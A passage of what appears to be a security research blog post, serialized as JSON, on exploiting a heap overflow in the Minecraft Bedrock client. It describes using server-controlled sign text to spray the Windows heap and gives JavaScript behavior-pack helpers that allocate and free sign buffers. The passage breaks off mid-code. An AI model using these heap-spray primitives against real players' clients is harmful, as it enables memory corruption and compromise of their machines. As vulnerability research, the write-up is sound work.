",{"type":21,"tag":34,"props":150290,"children":150293},{"href":150291,"rel":150292},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[38],[150294],{"type":27,"value":150295},"technique published",{"type":27,"value":150297}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":21,"tag":30,"props":150299,"children":150300},{},[150301],{"type":27,"value":150302},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":21,"tag":30,"props":150304,"children":150305},{},[150306],{"type":27,"value":150307},"In either case, we needed a way to spray the heap before we could proceed.",{"type":21,"tag":59,"props":150309,"children":150311},{"id":150310},"finding-a-way-to-spray-the-heap",[150312],{"type":27,"value":150313},"Finding a Way to Spray the Heap",{"type":21,"tag":30,"props":150315,"children":150316},{},[150317],{"type":27,"value":150318},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":21,"tag":138,"props":150320,"children":150321},{},[150322,150327,150332,150337],{"type":21,"tag":75,"props":150323,"children":150324},{},[150325],{"type":27,"value":150326},"The size of the allocation",{"type":21,"tag":75,"props":150328,"children":150329},{},[150330],{"type":27,"value":150331},"The data written into the allocated buffer",{"type":21,"tag":75,"props":150333,"children":150334},{},[150335],{"type":27,"value":150336},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":21,"tag":75,"props":150338,"children":150339},{},[150340],{"type":27,"value":150341},"The number of created objects (preferably unbounded)",{"type":21,"tag":30,"props":150343,"children":150344},{},[150345],{"type":27,"value":150346},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":21,"tag":162,"props":150348,"children":150350},{"id":150349},"minecraft-signs",[150351],{"type":27,"value":150352},"Minecraft Signs",{"type":21,"tag":30,"props":150354,"children":150355},{},[150356],{"type":27,"value":150357},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":21,"tag":30,"props":150359,"children":150360},{},[150361,150363,150369],{"type":27,"value":150362},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":21,"tag":194,"props":150364,"children":150366},{"className":150365},[],[150367],{"type":27,"value":150368},"std::string",{"type":27,"value":658},{"type":21,"tag":30,"props":150371,"children":150372},{},[150373,150375,150380],{"type":27,"value":150374},"In Microsoft’s C++ implementation, ",{"type":21,"tag":194,"props":150376,"children":150378},{"className":150377},[],[150379],{"type":27,"value":150368},{"type":27,"value":150381}," is structured roughly as follows:",{"type":21,"tag":187,"props":150383,"children":150385},{"code":150384,"language":3954,"meta":7,"className":17318,"style":7},"struct string\n{\n union {\n char* ptr;\n char buf[16];\n };\n size_t size;\n size_t capacity;\n};\n",[150386],{"type":21,"tag":194,"props":150387,"children":150388},{"__ignoreMap":7},[150389,150400,150407,150419,150435,150459,150466,150477,150489],{"type":21,"tag":198,"props":150390,"children":150391},{"class":200,"line":201},[150392,150396],{"type":21,"tag":198,"props":150393,"children":150394},{"style":249},[150395],{"type":27,"value":10213},{"type":21,"tag":198,"props":150397,"children":150398},{"style":211},[150399],{"type":27,"value":85426},{"type":21,"tag":198,"props":150401,"children":150402},{"class":200,"line":217},[150403],{"type":21,"tag":198,"props":150404,"children":150405},{"style":211},[150406],{"type":27,"value":11689},{"type":21,"tag":198,"props":150408,"children":150409},{"class":200,"line":236},[150410,150415],{"type":21,"tag":198,"props":150411,"children":150412},{"style":249},[150413],{"type":27,"value":150414}," union",{"type":21,"tag":198,"props":150416,"children":150417},{"style":211},[150418],{"type":27,"value":233},{"type":21,"tag":198,"props":150420,"children":150421},{"class":200,"line":260},[150422,150427,150431],{"type":21,"tag":198,"props":150423,"children":150424},{"style":249},[150425],{"type":27,"value":150426}," char",{"type":21,"tag":198,"props":150428,"children":150429},{"style":683},[150430],{"type":27,"value":5383},{"type":21,"tag":198,"props":150432,"children":150433},{"style":211},[150434],{"type":27,"value":17360},{"type":21,"tag":198,"props":150436,"children":150437},{"class":200,"line":281},[150438,150442,150447,150451,150455],{"type":21,"tag":198,"props":150439,"children":150440},{"style":249},[150441],{"type":27,"value":150426},{"type":21,"tag":198,"props":150443,"children":150444},{"style":226},[150445],{"type":27,"value":150446}," buf",{"type":21,"tag":198,"props":150448,"children":150449},{"style":211},[150450],{"type":27,"value":2051},{"type":21,"tag":198,"props":150452,"children":150453},{"style":2540},[150454],{"type":27,"value":41600},{"type":21,"tag":198,"props":150456,"children":150457},{"style":211},[150458],{"type":27,"value":32361},{"type":21,"tag":198,"props":150460,"children":150461},{"class":200,"line":302},[150462],{"type":21,"tag":198,"props":150463,"children":150464},{"style":211},[150465],{"type":27,"value":39755},{"type":21,"tag":198,"props":150467,"children":150468},{"class":200,"line":323},[150469,150473],{"type":21,"tag":198,"props":150470,"children":150471},{"style":249},[150472],{"type":27,"value":17368},{"type":21,"tag":198,"props":150474,"children":150475},{"style":211},[150476],{"type":27,"value":124984},{"type":21,"tag":198,"props":150478,"children":150479},{"class":200,"line":344},[150480,150484],{"type":21,"tag":198,"props":150481,"children":150482},{"style":249},[150483],{"type":27,"value":17368},{"type":21,"tag":198,"props":150485,"children":150486},{"style":211},[150487],{"type":27,"value":150488}," capacity;\n",{"type":21,"tag":198,"props":150490,"children":150491},{"class":200,"line":365},[150492],{"type":21,"tag":198,"props":150493,"children":150494},{"style":211},[150495],{"type":27,"value":2357},{"type":21,"tag":30,"props":150497,"children":150498},{},[150499,150501,150507,150509,150514],{"type":27,"value":150500},"We are primarily interested in the union: ",{"type":21,"tag":194,"props":150502,"children":150504},{"className":150503},[],[150505],{"type":27,"value":150506},"buf",{"type":27,"value":150508}," is used when the string fits within 16 bytes, while ",{"type":21,"tag":194,"props":150510,"children":150512},{"className":150511},[],[150513],{"type":27,"value":14756},{"type":27,"value":150515}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":21,"tag":30,"props":150517,"children":150518},{},[150519],{"type":27,"value":150520},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":21,"tag":30,"props":150522,"children":150523},{},[150524],{"type":27,"value":150525},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":21,"tag":162,"props":150527,"children":150529},{"id":150528},"spraying-with-server-side-scripting",[150530],{"type":27,"value":150531},"Spraying With Server-Side Scripting",{"type":21,"tag":30,"props":150533,"children":150534},{},[150535],{"type":27,"value":150536},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":21,"tag":30,"props":150538,"children":150539},{},[150540,150542,150548,150549,150555],{"type":27,"value":150541},"We wrote ",{"type":21,"tag":194,"props":150543,"children":150545},{"className":150544},[],[150546],{"type":27,"value":150547},"alloc",{"type":27,"value":11801},{"type":21,"tag":194,"props":150550,"children":150552},{"className":150551},[],[150553],{"type":27,"value":150554},"free",{"type":27,"value":150556}," helpers that trigger an allocation in the client and free it on demand:",{"type":21,"tag":187,"props":150558,"children":150560},{"code":150559,"language":36389,"meta":7,"className":36387,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n for (let sign of signs) {\n if (sign.allocated || sign.removed) {\n continue;\n }\n\n sign.sign.setText(fill.repeat(size - 1));\n sign.allocated = true;\n return sign;\n }\n\n console.warn(\"No more allocs\");\n return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n if (sign == undefined || sign.allocated == false) {\n return;\n }\n\n sign.sign.setText(\"\");\n sign.allocated = false;\n\n sign.block.setPermutation(\n BlockPermutation.resolve(\"minecraft:air\")\n );\n sign.removed = true;\n}\n",[150561],{"type":21,"tag":194,"props":150562,"children":150563},{"__ignoreMap":7},[150564,150572,150614,150647,150692,150704,150711,150718,150779,150806,150821,150828,150835,150864,150879,150886,150893,150901,150925,150976,150987,150994,151001,151038,151065,151072,151101,151131,151138,151165],{"type":21,"tag":198,"props":150565,"children":150566},{"class":200,"line":201},[150567],{"type":21,"tag":198,"props":150568,"children":150569},{"style":1233},[150570],{"type":27,"value":150571},"// Allocate sign text in the client\n",{"type":21,"tag":198,"props":150573,"children":150574},{"class":200,"line":217},[150575,150579,150584,150588,150592,150596,150601,150605,150610],{"type":21,"tag":198,"props":150576,"children":150577},{"style":249},[150578],{"type":27,"value":892},{"type":21,"tag":198,"props":150580,"children":150581},{"style":698},[150582],{"type":27,"value":150583}," alloc",{"type":21,"tag":198,"props":150585,"children":150586},{"style":211},[150587],{"type":27,"value":706},{"type":21,"tag":198,"props":150589,"children":150590},{"style":226},[150591],{"type":27,"value":124642},{"type":21,"tag":198,"props":150593,"children":150594},{"style":211},[150595],{"type":27,"value":828},{"type":21,"tag":198,"props":150597,"children":150598},{"style":226},[150599],{"type":27,"value":150600},"fill",{"type":21,"tag":198,"props":150602,"children":150603},{"style":683},[150604],{"type":27,"value":3174},{"type":21,"tag":198,"props":150606,"children":150607},{"style":205},[150608],{"type":27,"value":150609},"\"A\"",{"type":21,"tag":198,"props":150611,"children":150612},{"style":211},[150613],{"type":27,"value":668},{"type":21,"tag":198,"props":150615,"children":150616},{"class":200,"line":236},[150617,150621,150625,150629,150634,150638,150643],{"type":21,"tag":198,"props":150618,"children":150619},{"style":640},[150620],{"type":27,"value":3840},{"type":21,"tag":198,"props":150622,"children":150623},{"style":211},[150624],{"type":27,"value":648},{"type":21,"tag":198,"props":150626,"children":150627},{"style":249},[150628],{"type":27,"value":12597},{"type":21,"tag":198,"props":150630,"children":150631},{"style":226},[150632],{"type":27,"value":150633}," sign",{"type":21,"tag":198,"props":150635,"children":150636},{"style":249},[150637],{"type":27,"value":11172},{"type":21,"tag":198,"props":150639,"children":150640},{"style":226},[150641],{"type":27,"value":150642}," signs",{"type":21,"tag":198,"props":150644,"children":150645},{"style":211},[150646],{"type":27,"value":668},{"type":21,"tag":198,"props":150648,"children":150649},{"class":200,"line":260},[150650,150654,150658,150663,150667,150672,150676,150680,150684,150688],{"type":21,"tag":198,"props":150651,"children":150652},{"style":640},[150653],{"type":27,"value":4079},{"type":21,"tag":198,"props":150655,"children":150656},{"style":211},[150657],{"type":27,"value":648},{"type":21,"tag":198,"props":150659,"children":150660},{"style":226},[150661],{"type":27,"value":150662},"sign",{"type":21,"tag":198,"props":150664,"children":150665},{"style":211},[150666],{"type":27,"value":658},{"type":21,"tag":198,"props":150668,"children":150669},{"style":226},[150670],{"type":27,"value":150671},"allocated",{"type":21,"tag":198,"props":150673,"children":150674},{"style":683},[150675],{"type":27,"value":24501},{"type":21,"tag":198,"props":150677,"children":150678},{"style":226},[150679],{"type":27,"value":150633},{"type":21,"tag":198,"props":150681,"children":150682},{"style":211},[150683],{"type":27,"value":658},{"type":21,"tag":198,"props":150685,"children":150686},{"style":226},[150687],{"type":27,"value":133347},{"type":21,"tag":198,"props":150689,"children":150690},{"style":211},[150691],{"type":27,"value":668},{"type":21,"tag":198,"props":150693,"children":150694},{"class":200,"line":281},[150695,150700],{"type":21,"tag":198,"props":150696,"children":150697},{"style":640},[150698],{"type":27,"value":150699}," continue",{"type":21,"tag":198,"props":150701,"children":150702},{"style":211},[150703],{"type":27,"value":1483},{"type":21,"tag":198,"props":150705,"children":150706},{"class":200,"line":302},[150707],{"type":21,"tag":198,"props":150708,"children":150709},{"style":211},[150710],{"type":27,"value":1160},{"type":21,"tag":198,"props":150712,"children":150713},{"class":200,"line":323},[150714],{"type":21,"tag":198,"props":150715,"children":150716},{"emptyLinePlaceholder":16},[150717],{"type":27,"value":1283},{"type":21,"tag":198,"props":150719,"children":150720},{"class":200,"line":344},[150721,150726,150730,150734,150738,150743,150747,150751,150755,150759,150763,150767,150771,150775],{"type":21,"tag":198,"props":150722,"children":150723},{"style":226},[150724],{"type":27,"value":150725}," sign",{"type":21,"tag":198,"props":150727,"children":150728},{"style":211},[150729],{"type":27,"value":658},{"type":21,"tag":198,"props":150731,"children":150732},{"style":226},[150733],{"type":27,"value":150662},{"type":21,"tag":198,"props":150735,"children":150736},{"style":211},[150737],{"type":27,"value":658},{"type":21,"tag":198,"props":150739,"children":150740},{"style":698},[150741],{"type":27,"value":150742},"setText",{"type":21,"tag":198,"props":150744,"children":150745},{"style":211},[150746],{"type":27,"value":706},{"type":21,"tag":198,"props":150748,"children":150749},{"style":226},[150750],{"type":27,"value":150600},{"type":21,"tag":198,"props":150752,"children":150753},{"style":211},[150754],{"type":27,"value":658},{"type":21,"tag":198,"props":150756,"children":150757},{"style":698},[150758],{"type":27,"value":133597},{"type":21,"tag":198,"props":150760,"children":150761},{"style":211},[150762],{"type":27,"value":706},{"type":21,"tag":198,"props":150764,"children":150765},{"style":226},[150766],{"type":27,"value":124642},{"type":21,"tag":198,"props":150768,"children":150769},{"style":683},[150770],{"type":27,"value":51631},{"type":21,"tag":198,"props":150772,"children":150773},{"style":2540},[150774],{"type":27,"value":5335},{"type":21,"tag":198,"props":150776,"children":150777},{"style":211},[150778],{"type":27,"value":8035},{"type":21,"tag":198,"props":150780,"children":150781},{"class":200,"line":365},[150782,150786,150790,150794,150798,150802],{"type":21,"tag":198,"props":150783,"children":150784},{"style":226},[150785],{"type":27,"value":150725},{"type":21,"tag":198,"props":150787,"children":150788},{"style":211},[150789],{"type":27,"value":658},{"type":21,"tag":198,"props":150791,"children":150792},{"style":226},[150793],{"type":27,"value":150671},{"type":21,"tag":198,"props":150795,"children":150796},{"style":683},[150797],{"type":27,"value":979},{"type":21,"tag":198,"props":150799,"children":150800},{"style":249},[150801],{"type":27,"value":252},{"type":21,"tag":198,"props":150803,"children":150804},{"style":211},[150805],{"type":27,"value":1483},{"type":21,"tag":198,"props":150807,"children":150808},{"class":200,"line":386},[150809,150813,150817],{"type":21,"tag":198,"props":150810,"children":150811},{"style":640},[150812],{"type":27,"value":16547},{"type":21,"tag":198,"props":150814,"children":150815},{"style":226},[150816],{"type":27,"value":150633},{"type":21,"tag":198,"props":150818,"children":150819},{"style":211},[150820],{"type":27,"value":1483},{"type":21,"tag":198,"props":150822,"children":150823},{"class":200,"line":408},[150824],{"type":21,"tag":198,"props":150825,"children":150826},{"style":211},[150827],{"type":27,"value":880},{"type":21,"tag":198,"props":150829,"children":150830},{"class":200,"line":429},[150831],{"type":21,"tag":198,"props":150832,"children":150833},{"emptyLinePlaceholder":16},[150834],{"type":27,"value":1283},{"type":21,"tag":198,"props":150836,"children":150837},{"class":200,"line":450},[150838,150842,150846,150851,150855,150860],{"type":21,"tag":198,"props":150839,"children":150840},{"style":226},[150841],{"type":27,"value":32227},{"type":21,"tag":198,"props":150843,"children":150844},{"style":211},[150845],{"type":27,"value":658},{"type":21,"tag":198,"props":150847,"children":150848},{"style":698},[150849],{"type":27,"value":150850},"warn",{"type":21,"tag":198,"props":150852,"children":150853},{"style":211},[150854],{"type":27,"value":706},{"type":21,"tag":198,"props":150856,"children":150857},{"style":205},[150858],{"type":27,"value":150859},"\"No more allocs\"",{"type":21,"tag":198,"props":150861,"children":150862},{"style":211},[150863],{"type":27,"value":1470},{"type":21,"tag":198,"props":150865,"children":150866},{"class":200,"line":468},[150867,150871,150875],{"type":21,"tag":198,"props":150868,"children":150869},{"style":640},[150870],{"type":27,"value":1478},{"type":21,"tag":198,"props":150872,"children":150873},{"style":249},[150874],{"type":27,"value":1551},{"type":21,"tag":198,"props":150876,"children":150877},{"style":211},[150878],{"type":27,"value":1483},{"type":21,"tag":198,"props":150880,"children":150881},{"class":200,"line":477},[150882],{"type":21,"tag":198,"props":150883,"children":150884},{"style":211},[150885],{"type":27,"value":1120},{"type":21,"tag":198,"props":150887,"children":150888},{"class":200,"line":494},[150889],{"type":21,"tag":198,"props":150890,"children":150891},{"emptyLinePlaceholder":16},[150892],{"type":27,"value":1283},{"type":21,"tag":198,"props":150894,"children":150895},{"class":200,"line":515},[150896],{"type":21,"tag":198,"props":150897,"children":150898},{"style":1233},[150899],{"type":27,"value":150900},"// Free an allocated sign in the client\n",{"type":21,"tag":198,"props":150902,"children":150903},{"class":200,"line":4484},[150904,150908,150913,150917,150921],{"type":21,"tag":198,"props":150905,"children":150906},{"style":249},[150907],{"type":27,"value":892},{"type":21,"tag":198,"props":150909,"children":150910},{"style":698},[150911],{"type":27,"value":150912}," free",{"type":21,"tag":198,"props":150914,"children":150915},{"style":211},[150916],{"type":27,"value":706},{"type":21,"tag":198,"props":150918,"children":150919},{"style":226},[150920],{"type":27,"value":150662},{"type":21,"tag":198,"props":150922,"children":150923},{"style":211},[150924],{"type":27,"value":668},{"type":21,"tag":198,"props":150926,"children":150927},{"class":200,"line":4493},[150928,150932,150936,150940,150944,150948,150952,150956,150960,150964,150968,150972],{"type":21,"tag":198,"props":150929,"children":150930},{"style":640},[150931],{"type":27,"value":643},{"type":21,"tag":198,"props":150933,"children":150934},{"style":211},[150935],{"type":27,"value":648},{"type":21,"tag":198,"props":150937,"children":150938},{"style":226},[150939],{"type":27,"value":150662},{"type":21,"tag":198,"props":150941,"children":150942},{"style":683},[150943],{"type":27,"value":4089},{"type":21,"tag":198,"props":150945,"children":150946},{"style":249},[150947],{"type":27,"value":1551},{"type":21,"tag":198,"props":150949,"children":150950},{"style":683},[150951],{"type":27,"value":24501},{"type":21,"tag":198,"props":150953,"children":150954},{"style":226},[150955],{"type":27,"value":150633},{"type":21,"tag":198,"props":150957,"children":150958},{"style":211},[150959],{"type":27,"value":658},{"type":21,"tag":198,"props":150961,"children":150962},{"style":226},[150963],{"type":27,"value":150671},{"type":21,"tag":198,"props":150965,"children":150966},{"style":683},[150967],{"type":27,"value":4089},{"type":21,"tag":198,"props":150969,"children":150970},{"style":249},[150971],{"type":27,"value":9868},{"type":21,"tag":198,"props":150973,"children":150974},{"style":211},[150975],{"type":27,"value":668},{"type":21,"tag":198,"props":150977,"children":150978},{"class":200,"line":4561},[150979,150983],{"type":21,"tag":198,"props":150980,"children":150981},{"style":640},[150982],{"type":27,"value":16547},{"type":21,"tag":198,"props":150984,"children":150985},{"style":211},[150986],{"type":27,"value":1483},{"type":21,"tag":198,"props":150988,"children":150989},{"class":200,"line":4569},[150990],{"type":21,"tag":198,"props":150991,"children":150992},{"style":211},[150993],{"type":27,"value":880},{"type":21,"tag":198,"props":150995,"children":150996},{"class":200,"line":4599},[150997],{"type":21,"tag":198,"props":150998,"children":150999},{"emptyLinePlaceholder":16},[151000],{"type":27,"value":1283},{"type":21,"tag":198,"props":151002,"children":151003},{"class":200,"line":4607},[151004,151009,151013,151017,151021,151025,151029,151034],{"type":21,"tag":198,"props":151005,"children":151006},{"style":226},[151007],{"type":27,"value":151008}," sign",{"type":21,"tag":198,"props":151010,"children":151011},{"style":211},[151012],{"type":27,"value":658},{"type":21,"tag":198,"props":151014,"children":151015},{"style":226},[151016],{"type":27,"value":150662},{"type":21,"tag":198,"props":151018,"children":151019},{"style":211},[151020],{"type":27,"value":658},{"type":21,"tag":198,"props":151022,"children":151023},{"style":698},[151024],{"type":27,"value":150742},{"type":21,"tag":198,"props":151026,"children":151027},{"style":211},[151028],{"type":27,"value":706},{"type":21,"tag":198,"props":151030,"children":151031},{"style":205},[151032],{"type":27,"value":151033},"\"\"",{"type":21,"tag":198,"props":151035,"children":151036},{"style":211},[151037],{"type":27,"value":1470},{"type":21,"tag":198,"props":151039,"children":151040},{"class":200,"line":4638},[151041,151045,151049,151053,151057,151061],{"type":21,"tag":198,"props":151042,"children":151043},{"style":226},[151044],{"type":27,"value":151008},{"type":21,"tag":198,"props":151046,"children":151047},{"style":211},[151048],{"type":27,"value":658},{"type":21,"tag":198,"props":151050,"children":151051},{"style":226},[151052],{"type":27,"value":150671},{"type":21,"tag":198,"props":151054,"children":151055},{"style":683},[151056],{"type":27,"value":979},{"type":21,"tag":198,"props":151058,"children":151059},{"style":249},[151060],{"type":27,"value":9868},{"type":21,"tag":198,"props":151062,"children":151063},{"style":211},[151064],{"type":27,"value":1483},{"type":21,"tag":198,"props":151066,"children":151067},{"class":200,"line":4646},[151068],{"type":21,"tag":198,"props":151069,"children":151070},{"emptyLinePlaceholder":16},[151071],{"type":27,"value":1283},{"type":21,"tag":198,"props":151073,"children":151074},{"class":200,"line":4706},[151075,151079,151083,151088,151092,151097],{"type":21,"tag":198,"props":151076,"children":151077},{"style":226},[151078],{"type":27,"value":151008},{"type":21,"tag":198,"props":151080,"children":151081},{"style":211},[151082],{"type":27,"value":658},{"type":21,"tag":198,"props":151084,"children":151085},{"style":226},[151086],{"type":27,"value":151087},"block",{"type":21,"tag":198,"props":151089,"children":151090},{"style":211},[151091],{"type":27,"value":658},{"type":21,"tag":198,"props":151093,"children":151094},{"style":698},[151095],{"type":27,"value":151096},"setPermutation",{"type":21,"tag":198,"props":151098,"children":151099},{"style":211},[151100],{"type":27,"value":4268},{"type":21,"tag":198,"props":151102,"children":151103},{"class":200,"line":9857},[151104,151109,151113,151118,151122,151127],{"type":21,"tag":198,"props":151105,"children":151106},{"style":226},[151107],{"type":27,"value":151108}," BlockPermutation",{"type":21,"tag":198,"props":151110,"children":151111},{"style":211},[151112],{"type":27,"value":658},{"type":21,"tag":198,"props":151114,"children":151115},{"style":698},[151116],{"type":27,"value":151117},"resolve",{"type":21,"tag":198,"props":151119,"children":151120},{"style":211},[151121],{"type":27,"value":706},{"type":21,"tag":198,"props":151123,"children":151124},{"style":205},[151125],{"type":27,"value":151126},"\"minecraft:air\"",{"type":21,"tag":198,"props":151128,"children":151129},{"style":211},[151130],{"type":27,"value":789},{"type":21,"tag":198,"props":151132,"children":151133},{"class":200,"line":9875},[151134],{"type":21,"tag":198,"props":151135,"children":151136},{"style":211},[151137],{"type":27,"value":44412},{"type":21,"tag":198,"props":151139,"children":151140},{"class":200,"line":9920},[151141,151145,151149,151153,151157,151161],{"type":21,"tag":198,"props":151142,"children":151143},{"style":226},[151144],{"type":27,"value":151008},{"type":21,"tag":198,"props":151146,"children":151147},{"style":211},[151148],{"type":27,"value":658},{"type":21,"tag":198,"props":151150,"children":151151},{"style":226},[151152],{"type":27,"value":133347},{"type":21,"tag":198,"props":151154,"children":151155},{"style":683},[151156],{"type":27,"value":979},{"type":21,"tag":198,"props":151158,"children":151159},{"style":249},[151160],{"type":27,"value":252},{"type":21,"tag":198,"props":151162,"children":151163},{"style":211},[151164],{"type":27,"value":1483},{"type":21,"tag":198,"props":151166,"children":151167},{"class":200,"line":10026},[151168],{"type":21,"tag":198,"props":151169,"children":151170},{"style":211},[151171],{"type":27,"value":1120},{"type":21,"tag":30,"props":151173,"children":151174},{},[151175,151177,151183],{"type":27,"value":151176},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":21,"tag":194,"props":151178,"children":151180},{"className":151179},[],[151181],{"type":27,"value":151182},"signs",{"type":27,"value":151184}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":21,"tag":187,"props":151186,"children":151188},{"code":151187,"language":36389,"meta":7,"className":36387,"style":7},"let signs;\n\nfunction create_wall() {\n signs = [];\n\n for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n [...]\n \n const sign_block = world\n .getDimension(\"overworld\")\n .getBlock(sign_location);\n sign_block.setPermutation(\n BlockPermutation.resolve(\"minecraft:wall_sign\", {\n facing_direction: 3\n }\n ));\n let sign_component = sign_block\n .getComponent(BlockComponentTypes.Sign);\n\n signs.push({\n sign: sign_component,\n allocated: false,\n block: sign_block,\n removed: false\n });\n }\n }\n}\n\nfunction remove_wall() {\n signs = [];\n \n for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n \n [...]\n \n const sign_block = await wait_for_block(\n world.getDimension(\"overworld\"),\n sign_location\n );\n sign_block.setPermutation(\n BlockPermutation.resolve(\"minecraft:air\")\n );\n\n [...]\n }\n }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n remove_wall();\n});\n",[151189],{"type":21,"tag":194,"props":151190,"children":151191},{"__ignoreMap":7},[151192,151207,151214,151230,151247,151254,151316,151378,151385,151401,151409,151431,151457,151482,151502,151531,151543,151550,151558,151580,151614,151621,151641,151657,151673,151689,151701,151709,151716,151723,151730,151737,151753,151768,151775,151834,151893,151900,151915,151923,151951,151979,151987,151994,152013,152040,152047,152054,152069,152076,152083,152090,152097,152153,152165,152172,152179,152240,152252],{"type":21,"tag":198,"props":151193,"children":151194},{"class":200,"line":201},[151195,151199,151203],{"type":21,"tag":198,"props":151196,"children":151197},{"style":249},[151198],{"type":27,"value":12597},{"type":21,"tag":198,"props":151200,"children":151201},{"style":226},[151202],{"type":27,"value":150642},{"type":21,"tag":198,"props":151204,"children":151205},{"style":211},[151206],{"type":27,"value":1483},{"type":21,"tag":198,"props":151208,"children":151209},{"class":200,"line":217},[151210],{"type":21,"tag":198,"props":151211,"children":151212},{"emptyLinePlaceholder":16},[151213],{"type":27,"value":1283},{"type":21,"tag":198,"props":151215,"children":151216},{"class":200,"line":236},[151217,151221,151226],{"type":21,"tag":198,"props":151218,"children":151219},{"style":249},[151220],{"type":27,"value":892},{"type":21,"tag":198,"props":151222,"children":151223},{"style":698},[151224],{"type":27,"value":151225}," create_wall",{"type":21,"tag":198,"props":151227,"children":151228},{"style":211},[151229],{"type":27,"value":16539},{"type":21,"tag":198,"props":151231,"children":151232},{"class":200,"line":260},[151233,151238,151242],{"type":21,"tag":198,"props":151234,"children":151235},{"style":226},[151236],{"type":27,"value":151237}," signs",{"type":21,"tag":198,"props":151239,"children":151240},{"style":683},[151241],{"type":27,"value":979},{"type":21,"tag":198,"props":151243,"children":151244},{"style":211},[151245],{"type":27,"value":151246}," [];\n",{"type":21,"tag":198,"props":151248,"children":151249},{"class":200,"line":281},[151250],{"type":21,"tag":198,"props":151251,"children":151252},{"emptyLinePlaceholder":16},[151253],{"type":27,"value":1283},{"type":21,"tag":198,"props":151255,"children":151256},{"class":200,"line":302},[151257,151261,151265,151269,151274,151278,151282,151286,151291,151295,151300,151304,151308,151312],{"type":21,"tag":198,"props":151258,"children":151259},{"style":640},[151260],{"type":27,"value":3840},{"type":21,"tag":198,"props":151262,"children":151263},{"style":211},[151264],{"type":27,"value":648},{"type":21,"tag":198,"props":151266,"children":151267},{"style":249},[151268],{"type":27,"value":12597},{"type":21,"tag":198,"props":151270,"children":151271},{"style":226},[151272],{"type":27,"value":151273}," current_y",{"type":21,"tag":198,"props":151275,"children":151276},{"style":683},[151277],{"type":27,"value":979},{"type":21,"tag":198,"props":151279,"children":151280},{"style":2540},[151281],{"type":27,"value":3855},{"type":21,"tag":198,"props":151283,"children":151284},{"style":211},[151285],{"type":27,"value":18028},{"type":21,"tag":198,"props":151287,"children":151288},{"style":226},[151289],{"type":27,"value":151290},"current_y",{"type":21,"tag":198,"props":151292,"children":151293},{"style":683},[151294],{"type":27,"value":9529},{"type":21,"tag":198,"props":151296,"children":151297},{"style":226},[151298],{"type":27,"value":151299}," WALL_HEIGHT",{"type":21,"tag":198,"props":151301,"children":151302},{"style":211},[151303],{"type":27,"value":18028},{"type":21,"tag":198,"props":151305,"children":151306},{"style":226},[151307],{"type":27,"value":151290},{"type":21,"tag":198,"props":151309,"children":151310},{"style":683},[151311],{"type":27,"value":51645},{"type":21,"tag":198,"props":151313,"children":151314},{"style":211},[151315],{"type":27,"value":668},{"type":21,"tag":198,"props":151317,"children":151318},{"class":200,"line":323},[151319,151323,151327,151331,151336,151340,151344,151348,151353,151357,151362,151366,151370,151374],{"type":21,"tag":198,"props":151320,"children":151321},{"style":640},[151322],{"type":27,"value":60954},{"type":21,"tag":198,"props":151324,"children":151325},{"style":211},[151326],{"type":27,"value":648},{"type":21,"tag":198,"props":151328,"children":151329},{"style":249},[151330],{"type":27,"value":12597},{"type":21,"tag":198,"props":151332,"children":151333},{"style":226},[151334],{"type":27,"value":151335}," current_x",{"type":21,"tag":198,"props":151337,"children":151338},{"style":683},[151339],{"type":27,"value":979},{"type":21,"tag":198,"props":151341,"children":151342},{"style":2540},[151343],{"type":27,"value":3855},{"type":21,"tag":198,"props":151345,"children":151346},{"style":211},[151347],{"type":27,"value":18028},{"type":21,"tag":198,"props":151349,"children":151350},{"style":226},[151351],{"type":27,"value":151352},"current_x",{"type":21,"tag":198,"props":151354,"children":151355},{"style":683},[151356],{"type":27,"value":9529},{"type":21,"tag":198,"props":151358,"children":151359},{"style":226},[151360],{"type":27,"value":151361}," WALL_WIDTH",{"type":21,"tag":198,"props":151363,"children":151364},{"style":211},[151365],{"type":27,"value":18028},{"type":21,"tag":198,"props":151367,"children":151368},{"style":226},[151369],{"type":27,"value":151352},{"type":21,"tag":198,"props":151371,"children":151372},{"style":683},[151373],{"type":27,"value":51645},{"type":21,"tag":198,"props":151375,"children":151376},{"style":211},[151377],{"type":27,"value":668},{"type":21,"tag":198,"props":151379,"children":151380},{"class":200,"line":344},[151381],{"type":21,"tag":198,"props":151382,"children":151383},{"emptyLinePlaceholder":16},[151384],{"type":27,"value":1283},{"type":21,"tag":198,"props":151386,"children":151387},{"class":200,"line":365},[151388,151393,151397],{"type":21,"tag":198,"props":151389,"children":151390},{"style":211},[151391],{"type":27,"value":151392}," 